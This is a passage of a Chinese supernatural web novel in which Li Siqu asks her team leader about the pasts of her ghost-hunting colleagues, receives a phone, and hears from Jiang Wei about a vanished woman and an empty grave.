偏偏应庐还知道躲巧,只说话不化形,有一搭没一搭地聊着昨晚江隈被揍惨的场景。
昨天夜晚折腾得厉害,最终的结果是江隈又被绑成粽子收场,这会儿她估计还睡在冰冷的临时牢房呢。
李俟菩看了眼赵慵的小熊包,揉揉眼睛。
赵慵的包里被塞得鼓鼓的,小熊的肚子撑得极满,她说:“哦,我要回家一趟,拿个东西。”
李俟菩听闻,斟酌了会儿,“我陪你一起。”
说完可能觉得有些突然,又补了一句,“可以吗?”
赵慵猛地抬起头,十分意外,想了会儿,她问:“怎么了?是有什么事情吗?”
没等李俟菩回答,她又笑着说:“可以,你没吃早餐吧,要不我陪你去吃点?”
李俟菩下意识摸摸自己干瘪的肚子,乖乖点头。
这倒是把赵慵搞得有些局促,她偏偏头,李俟菩跟上她的脚步拐下楼梯。
榕城的绿荫小巷是散发着草木的清新气味的,伴随着阵阵虫鸣,阳光透过树梢洒下斑点。
如今快入秋,绿叶掉得厉害,行人走在路上嘎吱作响。
李俟菩和赵慵的衣服都摇曳上光斑。
李俟菩小口小口地喝着豆浆,赵慵的目光一直停留在她的侧脸。
眼神明晃晃地就像在看一个需要照顾的小朋友一样,极为欣慰。
李俟菩自认脸皮不厚也不薄,就这么让赵慵盯着,她知道赵慵在等她开口。
她也不打算遮掩,“赵队,之前生犀的方向,是领导说要秘密调查吗?”
“嗯?怎么这么说?”赵慵问,脸上却没有疑问的表情。
李俟菩咬了咬吸管,继续说:“这么久了,后面只说神物的具体计划,半点没提生犀,是因为有关于余家?”
赵慵波澜不惊,像是早就料到她的想法,很干脆地肯定了:“对,你猜得没错。”
“在地府你一定打听到了当年的一些事情,余家的这件事上头很重视,所以特别强调,专案组的主线是神物,暗线则是生犀。”
“当然这都是我们份内的事情,神物一事刻不容缓,上头想要埋的草蛇灰线我也理解,生犀与神物关系紧密,可能也是想早一点解决这个千古神物,砍掉生犀的这一条黑线,避免事情的发展不可控制。”
说完,赵慵停下脚步,绿叶无声飘落。
手上喝完的空奶盒被捏扁。
“我想,你要和我说的事情并不是谈这些吧,今天单独陪我出来,是遇到了什么困难?没事,想问什么就问吧。”
她脸色温柔,就像个知心大师姐。
听完了长篇大论的李俟菩也跟着站定,看着她眼眸。
了当道:“余愁山。”
44. 功德+43
飞鸟从树梢扑腾着飞走,抖落的羽毛擦过赵慵的肩颈掉下,混在一地绿浪中。
赵慵脸上的斑斑点点被遮住一瞬,“愁山怎么了?”
她的表情很奇怪,似乎想要穿透这三个字找个明确答案,但更多的是无法掩饰的疑问。
李俟菩目光停顿,但嘴比脑子快。
“余愁山是余家的人吗?”
赵慵眸光微微上挑,眼里的困惑无法捕捉,“?”
“愁山不姓余,难道姓其他?”她疑虑对方的问题,试探地反问着。
“我是说十二年前被灭门的余家。”
地府余家的半真半假当年事,余愁山自身博览群书的阅历,还有查案时覃诩水与宁松帷的小动作。
甚至是巧合的火灾叙事,这桩桩件件很难不让人怀疑,余愁山这个人她与余家老宅的秘密联系。
在餐桌上没有提出来的问题,或者是说根本不知道怎么开口的问题,只好单独找上赵慵。
要说对这一组这几人十分了解的,不敢说曹芜绿,只能说赵慵才是最佳人选。
赵慵行事风格与这些人都不一样,该同情时就同情,不该心慈时就绝不手软,她这个人恩恩怨怨看得分明。
李俟菩知道这个问题涉及了别人的隐私,但关于神物,关于工作,她有责任问个清楚,而且她相信赵慵一点会被她个交代。
但即使她如此确信会得到一个肯定的答案,现实却是赵慵吃惊的眼神与下意识地摇头否定。
李俟菩不由得产生了一丝自我怀疑。
“阿菩,你这是从哪儿听来的谣言啊?”她眉间纠结,显然是无法理解,到最后竟是笑了起来。
“哪个没脑子的又在乱造谣,愁山姓余就是那个余家人了?那岂不是全天下姓余的全都是那一脉?”
李俟菩紧盯着赵慵,眼神似乎能洞察一切,但却一无所获。
赵慵看着全都是对谣言一头雾水的迷茫。
“这般空穴来风你也信?”
“阿菩,告诉我,是谁说的?愁山要是听到了,肯定只觉得天大一口锅砸下来,好冤。”
“不会又是哪个组要我们余王牌要不到,就来诋毁吧?”
李俟菩神色一敛,她翕动嘴唇:“没有谁,我猜的。”
赵慵微微鼓起脸,更惊讶了:“啊?怎么……哈哈,算无遗策的阿菩这次怎么猜得这么离谱?”
她没见过这场面,都有点儿语无伦次了。
“很巧合,大火,古籍,还有你们对余愁山讳莫如深的身世。”李俟菩一一陈述道。
赵慵听后忖想几秒,后如蒙大赦,道:“哦,原来这么回事。”
“不过这事确实是你误会了,唉,也怪我,一直没有机会和你好好介绍一下她们。”
现在的时间早过了上班的那个点,树荫的小巷里这会儿总算停下了轿车的喧嚣,只有匆忙的行人来来往往。
徐徐微风飘过,漾起浮光的树叶。
她抬起脚步,娓娓道来。
“愁山的性子一贯沉闷,对自己的家事向来不多言。据我调查呢,愁山从小是被抛弃了,七岁以前是在孤儿院长大的。”
“后来被养父母收养了几年,又因为走水亡故了,最后是她一个人靠打工支撑起自己的学费,考上了医学院。”
“生活的艰辛并没有压倒她,她成绩很好又能吃苦,读完大学后就直接被国家秘密保送931工作了。”
“古籍呢,是因为她的养父母是钻研古书的专家,可能间接接触过吧。”
李俟菩一步一步踏着绿叶,不少飘落的叶子吻上她的鞋面。
“保送是没有考核,直接进组吗?”她问。
“对,我们入职是三个阶段,面试与考核,还有最后一道体训关,满足这前两个基本就能进组了。”赵慵道。
“余愁山这三项都没有,稳稳入职?”李俟菩说,“为什么如此特例?”
“我们931挑人的标准是很严格的,最重要的前提是你得有双阴阳眼,当然,如果没有,是可以去后勤部的。”
“那时候931在法医这方面很稀缺,不是普通的法医,是专研灵异药物的医生凤毛麟角,愁山就是这方面的天才,我们当然不愿意将这种人石沉大海,一切自然优厚待遇。”
原来如此,没想到余愁山还涉及灵异药物这方面。
不过这种人,在她们那边简称医修。
医修也分派系,与除诡一道联系最深的是诡医,这不是字面意思给诡医治的医生,而是专门研设抗诡药物或被诡所伤的有效疫苗。
出自这种门派的人都是从小培养,管控极严,需要天赋极高的人才能学成出世。
“她是自学?”李俟菩寻求印证地问。
“不错。”赵慵答。
李俟菩:“难怪。”
赵慵自豪道:“对,所以我们组是尽一切可能寻找天才,所以开个特例根本没什么。”
“不过这么一说,我们组也是集几个特殊人才一窝了。”
李俟菩谈笑道:“嗯?什么叫特殊人才?”
“举个例子吧,愁山算是天赋外学成才,特殊人才是先天开灵,所以懂鬼语的能称之为特殊人才,放眼整个榕城,只有诩水才能说是标准的特殊人才。”
李俟菩问:“931里面没有其他人懂鬼语了吗?”
“有是有,但特别特别稀少,大多都不轻易露面也不干事,不世之才嘛,领导也愿意惯着。”赵慵笑了笑。
“那宁松帷呢?我听陈箐说,她是走后门进来的?”
她以为赵慵会护犊子,可赵慵没有二话,实事求是地回答了她。
“虽然话不中听,但确实是事实,不过931的后门也不是那么好走的,松帷的法器专项研发可是年年蝉联神器排行榜榜首。”
“对于这种只能用魔法攻击,所以没点实力,人家怎么会只敢在背后说?”
李俟菩想起陈箐说的那些话,覃诩水也只是生气做表面功夫,过会儿就过眼云烟了,原来都是这层原因。
不过都是说着好玩儿,谁比谁都差不了。
赵慵笑着继续道:“调查组开绿灯唯一能捞到的好处,大概就是在我们入门体训的时候,松帷与愁山躲在边上旁观。”
“我们吃草,她们喝奶茶,我们吃土,她们吃冰淇淋。”
“抢饭她们优先,回宿舍她们优先,连洗漱都是她们优先,旁人肯定不服啊,又没办法,不过这都是些小打小闹。”
“听起来是有点可恨。”李俟菩在脑子里幻想了一会儿,“你们当时训练很辛苦?”
“还好,当时曹师父还挺体谅我们的,别的组都在加训,我们早就去食堂吃饭了。”
赵慵回想,眸子里满满都是怀念,“那时候一心想着赚钱嘛,基础还不稳定,谈不上辛苦,经常出错,这一晃都四年了,时间过得真快。”
李俟菩对她的话照单全收,听着也让她想起刚上山的那段日子。
“曹前辈就是宁松帷的举荐者?”
“对,准确来说,松帷算是师父养大的。”
李俟菩眼里涌起一抹淡淡的讶然,“曹前辈是宁小姐的养母?可是曹前辈看着年纪并不大。”
赵慵表情有些波动,“嗯,当时我们也很震惊,听松帷自己讲,她算是留守儿童,就是从小双亲在外赚钱,是祖父母养大的。”
李俟菩听着,不自觉点头。
“机缘巧合遇上了曹师父,那时候曹师父刚刚入职931吧,也算是个清澈愚蠢的大学生。”赵慵这番话逗笑了自己,“反正没经过社会的毒打,对事情看得很简单。”
“松帷说她的父母其实并不管她,一切开销都是祖父母提供,后来祖父母走得突然,松帷又太小,生活根本没法子,只好求助曹师父,但那时候曹师父自己都没钱,不可能拖得起一个孩子。”
李俟菩说:“但她还是答应了。”
“是的,曹师父是单亲家庭,母亲走得早,生活很艰难,可能她也不想看一个小孩受苦,就答应了。”
“后来曹师父每个月都会将工资分给松帷一大半存着读书用,直到松帷考上了大学,你说,这关系不就是养了个孩子?”
李俟菩眼神微张:“确实是养育
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之恩。”
“没有血缘关系却能做到这个地步,是缘分也是善事。”赵慵谈起这些,有些感慨。
“那覃诩水呢?”李俟菩又问。
赵慵反而先叹了口气,表情一下子沉重起来。
“怎么了?”李俟菩直觉自己问了不该问的人。
但是,她脑海里覃诩水那样子……
“我们组里,大概最神秘的人就是她了。当然,除你之外。”
“诩水她算是被破格招进来的,但没逃过体训,当时我还想这种天才会撂担子不干等被人供上神坛呢,但没想到她坚持下来了。”
“因为那时候入职的人很多,都是等着一一细查,查到诩水的时候,身世背景是一片空白。”
“而且最奇怪的是,她的身世背景她的家庭她的整个人,在电脑里面根本查不到,一无所获,就好像她是从石头里蹦出来的一样,没有人知道,包括她自己。”
“包括自己?什么意思?”
赵慵的语气带了点怜惜:“她失忆了,不记得以前,只记得要进931的执念,关键是,她说她几乎忘了所有,也忘记了自己为什么要进931。”
“后来看她能干又是奇才,组织决定留下她,不以身份的偏见来拘束她。”
李俟菩怎么也没想到覃诩水有这样的往事。
这么说,覃诩水是个没有以前的人。
李俟菩舔舔发干的唇,转移话题道:“嗯,所以我在步覃诩水的后尘?”
赵慵摊牌,十分坦诚,“差不多吧,但我还是想多了解一下你。”
“你们调查组不是更应该关注能力问题?”李俟菩低沉着嗓音。
赵慵转而道:“我是说我想了解,不是931。”
李俟菩顿时不说话了。
不知不觉,她们已走到了这座城市的别墅区小路口。
这里的每幢别墅都修建得精美辉煌,浪漫庄严,清新又不落俗套,比之秦家那套山庄是好看得不少。
沥青路被太阳烤的炙热,李俟菩走在上面只觉得看到了一栋用钱堆满的楼房。
“阿菩,我早就想问了,一般你选择不说话到底是不想说,还是不知道怎么回答?”
李俟菩撞上赵慵的脸,她这次开口了:“都有。”
赵慵笑了,李俟菩问她:“赵队,你是不是还漏掉了一个人介绍?”
赵慵停在一栋别墅前,走进大门,眼前镂空雕花的圆形门压迫又奢华,整座别墅充满了李俟菩看不懂的别样情调。
异国古典风格远离了市中心的尘嚣,宁静幽远。
“但我不算队员,只算队长。”
“哦,那这么说,赵队谈吐生风,的确有大家之恣。”
赵慵言笑晏晏:“阿菩你别是捧杀我吧……”
她边说边打开大门,哪知刚敞开一条缝隙,里面就投来一只瓷白的花瓶,落在地上砸个粉碎,深蓝花瓣摧残一地。
白色粉末粘上鞋尖。
二人瞬间止住了脚步。
花瓶的方向并不是朝她们两人而来,气力不足甚至是带了点微弱,准点很偏。
赵慵脸色一变,她蹲下身习惯地去捏那玻璃碎片,就像做过了很多很多次。
但刚弯身就想起还有人在身边,她动作一顿,脊背绷成弓弦,眼底结冰。
她仰着头看向李俟菩,勉强提起笑容道:“要不,你先在外面待一会儿?”
李俟菩没答。
她几不可察地往里瞟了一眼,进门的那处做了石砌拱窗,里面镶嵌了个圆圈状鱼缸。
鱼儿轻轻一游,眼眸定焦,李俟菩透过水面清晰地窥见一个轻晃摇椅的女人。
女人背对着她斜躺在落地窗前,光辉洒在女人下半身盖着的白色绒毛毯,地下还残有蓝色花瓣。
看偏向,是从她那边砸过来的。
一个,神似被鱼缸圈养的女人。
这里面明明没有诡气,内里却散发着潮湿阴冷的气味,就像有什么东西隔着骨头腐蚀了一样。
赵慵手持着碎片,长睫掩下暗流。
李俟菩道:“好。”
45. 功德+45
在等赵慵的时间里,李俟菩已经站在树下数过了好几支成群的蚂蚁。
别墅的大门敞开,她一直能从外面仔细窥视那女人,可她却选择环顾好几圈这附近的人家。
这附近大多都是穿金戴银的妇人走过,还有来往的黑金轿车奔驰。
她无聊地看着院子里种植的娇艳的花,而本该说话的应庐这时却闭嘴不说话了,经过一番确认,这人睡着了。
昨天晚上将她吵得睡不着,白日他倒是能安心自由睡觉了是吧。
好的,想弄死应庐的理由又多了一个。
“李姐姐?”
正在东摸摸西碰碰的李俟菩忽然听到了一声熟悉呼唤,她回头。
只见院子门口站着一位穿着粉嫩连衣裙的女孩儿在朝她招手。
“云队?”李俟菩作声。
云饭饭眼眸含水,她惊喜道:“李姐姐你身体好了吗?站在这儿做什么?”
她又看了看这套别墅,拍了一下自己脑袋,“呀,看我这笨脑子,原来是赵姐姐的家。”
瞧她自问自答,李俟菩也有些震惊这人怎么突然出现在这里,抬脚走过去。
“嗯,多谢关心,我身体没事,方才跟着赵队过来拿东西。”
云饭饭轻轻侧头,她头上带着的兔子耳饰,随着动作一软一软,看着让人泛滥怜爱心。
这时赵慵从家里走了出来,手上拿着个方形小盒,锁好大门,看见云饭饭诧异一瞬,“哎?饭饭,你怎么在这儿?你这是?”
赵慵打量了好一会儿面前这个粉粉嫩嫩穿着花裙子的小姑娘。
“路过,不是这三天休假吗?最近也没案子,我就在家里收拾了一下,今天去参加了个漫展。”
看她拎的东西不少,就要往别墅区深处走的模样,李俟菩判断,云饭饭的家也在这儿。
嗯,原来调查组的队长都这么有钱吗?
云饭饭迎着赵慵的目光转了好大一个圈,脚尖踮起,裙褶散开,娇嫩相宜。
她的脸庞粉妆玉砌,“好看吗?”
“嗯,核心出装还得是脸。”赵慵眼里像浸了蜜糖,拉着李俟菩道,“对吧?”
李俟菩自动屏蔽掉她不知道的词汇,遇到问题一律附和,“对。”
她格外正经的脸让云饭饭更加充满了自信,嘴角抑制不住地上扬。
“今天有好几个姐姐找我要微信呢,李姐姐你要吗?”
“啊?”
味……信?
那是什么东西?
看着云饭饭期待的眼神,李俟菩看向赵慵。
“饭饭,你李姐姐前段时间手机摔坏了,我刚给她拿了个去年公司发的手机,喏,就这个。”
赵慵及时解围,将手里拿的那个盒子递给李俟菩。
李俟菩愣神。
“哦,原来是邀李姐姐过来拿手机的啊。”云饭饭道,“不过公司发的手机你都放家里了?”
“对,放公司覃某人要私吞。”赵慵平淡道。
李俟菩手里那方方正正的白色盒子有着不小的重量,“这……”
替她圆场,又送她手机,这东西应该很贵吧?看现世里的每个人都有,也的确好像是必需品,但这会不会太破费了。
而且赵慵跑大老远,就是为了这个?
李俟菩要说的话在舌尖转了好几圈,赵慵截住她话头,“怎么了?不喜欢?”
“还是觉得颜色不好看?”赵慵仔细瞧着她神色,“没事,这是公司发的,不要钱,以后想找你就方便了。”
云饭饭也边上道:“是啊李姐姐,有便宜岂能不占?”
李俟菩无话,赵慵还以为她是真不喜欢,道:“不喜欢这款我们就去买,我报销,尽管挑。”
别墅院子里移栽过来的鲜花围绕大门栅栏开了一圈,悉心照料的花星星点点,快到凋谢的季节还是争先恐后地开着,就像主人也依旧乐此不疲地养护。
仿佛赵慵整个人就是花匠的化身,什么细节都看得分明,无论是对植物,还是对一组。
李俟菩说:“喜欢。”
赵慵却道:“如果真不喜欢也别勉强,手机反正越用越旧,到时候还是要换的,我们现在就去买……”
“很喜欢。”李俟菩直直看向赵慵的眼睛。
云饭饭瞧她神色无异,嘻嘻道:“喜欢就行,李姐姐半天不说话,还以为是在想怎么拒绝,结果是被天上掉馅饼的好事儿砸昏了头。”
枝头静谧的花叶开得如火如荼。
赵慵道:“真的?”
李俟菩笑道:“嗯,所以你是专门过来拿这个?
“对,在路上聊得欢,就没想着先告诉你。”
李俟菩心间一点烫头烧得更旺,她嘴角勾起。
云饭饭也跟着笑得忘记了时间,自己的手机震动了一下,才想起什么来。
说道:“对了对了,赵队,有个事儿我得和你说一下!万分火急!”
赵慵看她突然慌忙:“怎么了?”
云饭饭眼睛在李俟菩身上顿了两秒,神色略显焦急,没开口。
她抹的胭脂都快渗透到眼睛里。
李俟菩说:“赵队,我先回去了。”
赵慵瞬间领会:“好,路上注意安全。”
李俟菩点头,捧着手机就往回走,没再看她们一眼。
回去的路上依然很清净,没有人吵闹,她觉得十分舒心,在心底复盘了一下近段时间发生的事情,偶尔有自行车的鸣叫声在耳边响起。
一路小巷至公路,走过商场与包子铺。
她在那包子铺门口停了一小会儿,这家店铺上面贴着条子,看着已经转手出租了,不过根本没人停留。
凉透得在街上走都能听到这家的八卦,谣言的唾沫将这家店铺淹没,转让都嫌晦气。
这让她无端想起一些被风沙埋藏过的往事,这些天她的记忆慢慢清晰。
那时候她还是个没有被师尊捡回去的孤儿,因为饿极,去抢乞丐堆里剩了半截的包子。
包子皮很软,即使沾了腌臜的脏水与灰尘,她也觉得那是佳肴美馔,只要让她吃一口,就一口,她就能继续活下去了。
不至于饿死在乞丐堆里,也不至于她连自己的父母都找不到就一命呜呼了。
后来她在山野被捡了回去,具体的一些事情她都已忘记,只记得自己只是想要活下去,无论是什么机会她都要抓住。
因为她只有一个念头,就是想找到她自己的来处。
那段时间虽然在山上无忧,但自己一直闷闷不乐,她师尊还以为是她不想跟着修习,跑来哄着她。
直到弄清楚原因,师尊才帮她找她的父母,最后找到了,生她者却是赌场上的一对烂人。
生下她,把她卖去抵押,人贩子又遗留了她,而她最后又想找到来处,直到选择流浪天际,一切都似命运圆环。
她的家世再普通不过,甚至她都不能理解她为什么会从这两人的肚子里生出来。
赌场上的贪婪,恶语相向的污秽,都是那么的刺眼,即使那时她什么都不懂。
师尊问她找到了,还想跟着他吗,她很奇怪,为什么要问这个,她只是想知道她的根源,不是想回到那个都不算家的家。
不管是富贵,还是贫穷,终究都是抛弃了她。
她只知道,世间所有的路都在前面,从来不是在身后。
她这一辈子都不会走回头路。
等到再后来,她只专注自己的修习生活,没想到过了这么多年,她又因为一个包子,找到了“上山”的路。
还认识了这些……
“死装货!”
蓦然,一声大吼打断了她的思绪。
阳光明媚,绵绵细风,不知不觉她已走到了宿舍门口。
“你给我滚!老虎不发威你当老子是熊猫啊!昨晚就应该杀了你枭首示威!”
又一声,听这屋顶都要被掀翻的架势,不是覃诩水又是谁呢?
赵慵的宿舍在李俟菩的右边,覃诩水则在左。
她的小床没有正对着门,是靠着左边墙壁的,于是每天晚上,覃诩水那边的声响都会传至她的耳朵。
不说每天,但凡是她睡在宿舍里的晚上,都会被覃诩水吵醒。
各种各样的声响都有,但最多的是小猫的叫声。
“怎么?现在要违反规定?”是饶有兴致的戏谑声。
“私自斗殴可是要罚款革职,还要被通报批评的哦,到时候全国都知道覃某的大名。”
“哦对了,过几天不是要搞那群熊大会?难道你是要趁着这个赶快出名,好得到众星捧月的机会?”
那人闷声低笑,“哇覃妹妹,你可太有想法了,那榕城一组全员调升的机会可就全靠你了。”
话停半晌,接着就是一声震破天地的呐喊,和把那房门踹开惊天动地的响声。
覃诩水的寝室门压根没有关严实,就跟她脑子里的水闸一样,总有全部流走的那一天,而那声喊叫已经把脑子的水排走了一大半。<
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p>李俟菩考虑到某种因素,踹门的时候收了点力,但那门还是不堪重负地动摇了几声。
接着就是空调的冷空气与覃诩水的哭喊铺天盖地袭来。
李俟菩被吵得头痛,忍不住出声:“吵死了。”
捧着爆米花吃得正嗨的江隈看见来人,眼眸亮起一瞬,“哟,现在觉得吵还会多说三个字了,稀事儿。”
“阿菩!她欺负我!”覃诩水裹着棉被咳嗽了两声,眼眶湿润,像个糯米粽子,“你得为我做主啊。”
她声音软下来,江隈“嗨”了声,“怎么还恶人先告状呢?小孩子家家一点也不懂尊重老人。”
“江隈,你好意思?抱着吃的来膈应我还说我告状?一大把年纪还充长辈,你算个啥长辈!”
“你不是身体不舒服吗?我好心来给你吃的还是我的不对了?”江隈又塞了口爆米花,嚼得香,“好心当成鱼肝肺,没良心的家伙。”
听此,覃诩水叫得更响亮了:“除了爆米花,你看看这些哪一样是我能吃的?爆米花还是被你吃了一半拿过来的,我看你就是挑软柿子捏!”
李俟菩一眼望去,除了焦黄米桶散发出来的甜腻香味,其他的都冒着冷气,甚至里面还有冰块儿没化。
覃诩水擦了擦鼻涕,裹得严严实实。
“你得风寒了?”李俟菩问。
“喂,怎么张口就问她?你怎么不问问我?”江隈仗着覃诩水还没反应过来,理直气壮地开腔。
李俟菩冷笑一声,“嗯,那你怎么从牢里出来了?”
江隈砸巴一下嘴,“怎么说话那么难听呢,你还是闭嘴吧。”
李俟菩笑得更冷了。
“没有,我生理期来了。”覃诩水闷声道。
焉头巴脑的模样像歇了的白菜,李俟菩望向江隈。
“就是来月事了。”江隈道。
李俟菩懂了,然后她看了看桌子摆着的冒冷气的玩意儿,“你这是刚出狱想毒死覃诩水?”
“喂喂喂,能不能说点好听的?什么叫毒死?我听人说覃妹妹身体抱恙,特意送来吃食,我又不知道她难受成这样?”
江隈喝了口奶茶,发出喟叹。
虽然她这么说,可李俟菩还是觉得这人是成心的。
“说得好听,别那么叫我,恶心死了。”覃诩水偏过头摆出要作呕的姿态,听了像是要把隔夜饭吐出来。
“不信算了。”江隈将旁边那椅子踹了个边,“那小阿菩你陪我吃点儿?”
“我吃过了。”李俟菩坐下,冷漠回应。
江隈也没自讨无趣,捧着双份可乐喝了个爽。
“所以你怎么出来了?”李俟菩看她悠闲至极。
“师父说她毕竟是同事,传出去恐怕会让有心之人钻空子,反正松帷给她套了个定位器,跑不了,就提前放出来了。”覃诩水眼皮耷拉几下,回答她的问题。
“你们信她所说?”李俟菩问。
“这不是信不信的问题,师父已经根据她说的最后见到那个棺纸人的位置去找了。”
覃诩水打起精神,“那里的确存留痕迹,反正我们等大后天的会,无论是诈还是消息,不怕他们不来。”
“切,你们依仗一个大会根本成不了事,就算他们上当了,也只会弃车保帅。”江隈冷嘲。
李俟菩思忖道:“我和那棺纸人交过手,不堪一击但心思极深,对付他如果只靠武力那是于事无补的。”
“我观察过了,棺纸人极善隐蔽之法,槃木朽株你知道吧,这门功夫他居然会,我差点都被他糊弄过去了。”江隈说。
“知道。”李俟菩不咸不淡道,“先静观其变吧,这事急不来。”
江隈说:“人家931可不是这么想的,早知道,我就不做一个信守承诺的人了,真是伤脑筋。”
李俟菩侧首看她:“嗯,你不是说拿到第二个神物就要来给我的吗?怎么,信守承诺的江善人要反悔?”
江隈应得轻飘,“那第二个神物可不就在棺纸人手里嘛,我是有消息啊,这话也没骗你吧。”
“咬文嚼字。”李俟菩淡笑道。
这边讨论得水深火热,限定粽子皮肤的覃诩水脑袋一点一点,她累极,眼皮缓缓垂下来,整个身子极其瘫软,还强撑着听这两人说话。
她的身子歪歪扭扭,就快要一头栽下来时,江隈抢先扶住她整个身体,接着慢慢让她睡下去。
随后指了指门外,示意李俟菩去外面说。
李俟菩微妙地看了她一眼。
46. 功德+46
门外的热空气十分闷燥,突然一热一冷的空气碰撞仿若让李俟菩置身无间地狱。
身边人轻轻关上门,阳台朝阳,热如火炉。
“你看起来对覃诩水格外关照。”李俟菩看着她一系列动作,“她是你要找的人?”
江隈抿唇,无奈地笑笑,“自然不是。”
得到否定,李俟菩继续问:“你之前所说都是真的?没骗人?”
“是真。”她的表情带了些严肃。
李俟菩唇角微微弯曲,说:“你之前不是说看调查组不顺眼,要除掉她们,怎么又会加入931?”
“你到底哪句话才是真话?”
天边的云层很漂亮,画布一样飘流而过,这里楼层不是很高,江隈只能看到蓝色,一望无际的蓝。
就跟十年前,百年前,千年前一样没有变过。
她道:“你变了。”
“从前你从不会在意别人的所言所行。”
江隈轻喃道,眼中晦涩不明。
李俟菩道:“回答我的问题。”
江隈幽怨地看了她一眼,自知拗不过李俟菩,她从宽大的风衣里拿出一卷竹简。
这时李俟菩才看到这人在如此干热的天气里穿了身大风衣,将自己的皮肤遮个干净。
泛旧发白的黄色竹简从江隈贴近心口的那处掏出,她指腹轻轻擦了擦,光晕下的竹简更添一层古老陈腐。
“你去盗墓了?”
李俟菩的第一反应就是这人居然离经叛道地去掘了别人的坟,不然这种东西怎会出现在土外?
“你就当我是吧。”
江隈却有些低落,她眸子里复杂的情绪仿佛就要溢出来。
李俟菩认识她也有好几年,这人惯是桀骜不驯,清醒又反骨,在世上无牵无挂,随风飘荡,谁也抓不住她,她也不会让人靠近。
当时有个师弟不小心碰坏了她的东西,她还偷摸着报复了好些天,硬拉着李俟菩去捣乱,但顶多都是些幼稚的小伎俩。
就跟她这个人一样,外表狂妄又漠然,内里也一样,小心眼又爱记仇。
李俟菩从没在江隈身上看到她有为之感伤的人。
当然,那些都是老黄历了,人都是会变的。
李俟菩低头,仔细看了看那份竹简上墨染的字,风吹走细细尘土。
——任蓑佚事。
“任何事不过一件蓑衣一把剑,天涯走马,烟雨任平生。”李俟菩赞许道,“这书名字取得倒是江湖。”
“这么多年了,你居然也会有夸出口的东西?”江隈的视线停留在竹简上,她调侃地说,半点眼神没分给李俟菩。
李俟菩不知道自己在这人眼里究竟是何种人物,怎么一个两个都认为她是个死石头什么尘世都不染吗?
不过在她心底,这都无所谓,她压根就不纠结自己在别人眼里的样子。
她问:“这书里有你要找到人,还是你挖的坟里有你要找的人?”
“都算有吧。”江隈涩声道,“我无意中找到了她的墓,其实我并没有想要掘她的坟,只是我感觉这里面有古怪,才想要替她翻翻土。”
她毫不客气地诉说,李俟菩看她的眼神都带点不可理喻的意味。
并没有想……但还是挖了。
李俟菩凝声道:“什么古怪?”
江隈轻声叹息,“特别古怪,所以我才想要找她问个清楚,地府我进不了,她又一定不会逗留在人间,办法想尽了都没有见到她。”
“最后我没辙,只好加入了931。”
为了找个人,做自己讨厌的工作,这套公式有一天居然会套在江隈身上,李俟菩开始不由地好奇江隈口中诉说的那个人到底是谁了。
“你找了多久?”
“很久吧。”
“她死在哪一年?”
“忘了,大概是刚建国后的那几年。”
李俟菩不知道这个国家刚建国是哪几年,但看现在这般繁华,经济基础如此稳定的模样,应当是过了很多很多年。
“可你说了,你找到了她。”
闻言良久,江隈声音发颤:“我早该找到的。”
“我早该知道,她死了都不会变成鬼魂的。”
江隈语气沉痛,云层渐渐分离,露出分明的界限。
“为何?”李俟菩微微皱眉。
世间的人死了,除掉受过诅咒或者一些特殊情况外,三魂七魄都会走掉一半,变成孤鬼游走在人诡两界。
断然没有不会变成诡物的道理。
江隈神色黯然,“她给自己下过咒。”
那就解释得通了,但自我下咒是需要极高的修为与极强的忍痛力打底的。
在人死后,先是散掉所有的魂魄,魂体生生剥离之苦不是一般人能承受的,单单这第一项就可能坚持不下去。
就像是把结痂的壳连着生肉一起撕掉那样痛心切骨。
魂魄一起抽离的过程需要重复整整十次,跟羽化登仙的雷电渡劫没什么区别,但仙人能在之后靠筋骨恢复,常人却不能。
这种自我下咒完全就是摒弃自己再次做人的机会,颠倒生死簿上自己的命数,灭绝人性。
从此,世间过了多少万年都与此人毫不相干,因为她已经彻头彻尾的消失了,不能逆转。
李俟菩问:“此人下咒你先前不知?”
“不知,是神物的反应告诉我,她已经完全消失了。”
江隈的眼眸蒙上薄薄的雾,她泛红的指尖还在摩挲竹简卷轴,一遍一遍的,就像要透过这个古物触碰到她念之千遍的人。
“神物还会占卜这事?”
李俟菩实在是对神物了解甚少,她面露疑虑。
江隈语气沉痛,她垂头:“神物当然不会占卜。”
随即话头一转,“你知道这个世界上,第一个找到神物的人,封印三个神物的人是谁吗?”
李俟菩摇头:“你知道的,我们那个年代根本没有这东西。”
江隈一愣,说:“是,原来已经过了这么多年了吗?”
“神物的栖息出生在几百年前,按照年份算,应该是在东方经济高度发展的时期。”
“那时候除诡师早就没剩几人了,原先修习的那几个门派全都解散,掌门人跑完,属于你们的时代早已落幕,只剩雄兵千万,刀光剑影。”
听此,饶是李俟菩,心底里都泛起无尽的感慨,苦涩停留在她的舌尖,往事回转。
“师尊他们都已仙逝?”她低语。
“嗯,差不多吧。”江隈怅然道,“一个时代的落幕都是伴随着天才和权势的永殁。”
她看着李俟菩道:“世事轮回,你看开点。”
李俟菩其实并没有太大的情绪波动,但若是一个正常人穿到未来,每天东奔西跑忙着养活自己,根本没时间想这些。
直到有一天忽然告诉自己,她当年的家早就没了,虽然明白,但还是没逃过事实被揭开的伤疤的痛。
等到再回头一看时,发现背后全是自己那一辈或上一辈的坟茔,该死的没死成,不该死的却是已经再不可能相见了。
任时光蹉跎,那些恩怨啊感情啊都随之东流,那些平常的时光已成回忆,远远风沙覆没,近近贫瘠难触。
这才叫,万年孤独。
她不禁想到面前的江隈,这么多年了,这人是不是早已忘记了从前。
或许过好当下的才叫豁达吧。
“所以神物之前被人争抢,是谁横空出世封印了它?”李俟菩扔掉这些杂乱无章的思绪。
江隈平静说:“是我要找的人。”
李俟菩的眼里划过惊讶,“你是说神物是因为被你要找的人封印过,才能知
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道她到底去了哪里?”
“对,之前我想双管齐下,一边进931想办法去地府,一边找神物。”江隈说,“最后先找到了神物,却告诉我她早已不在。”
“她总是让我出乎意料,跟你一样,连尸体都不肯让我看到。”
没想到神物的背景知识还能再添一笔,李俟菩眉头一皱,道:“你没在她的坟里找到她尸体?”
“嗯,但棺材没有撬动的痕迹,应该是下葬的时候就是个空棺材。”她说,“里面只放了这个卷轴,偏偏里面还什么都没有。”
江隈小心地摊开这个卷轴,里面的确如她所说,一字也无。
“我以为是用了什么隐蔽手法,找过很多方法显字,可这个东西却是从头到尾的,只有开头的这四个字,其余空空如也。”
李俟菩直言问:“当时她下葬时你不在?”
江隈道:“她死的时候我都不知道,你们一个两个总是挑我不在的时候去死,就这么照顾我的心情?”
“要不是听别人说,我哪里知道你们死得无声无息?”她咬牙强颜,“真是太不够朋友了。”
李俟菩一向不会安慰人,她只拍了拍江隈的肩膀。
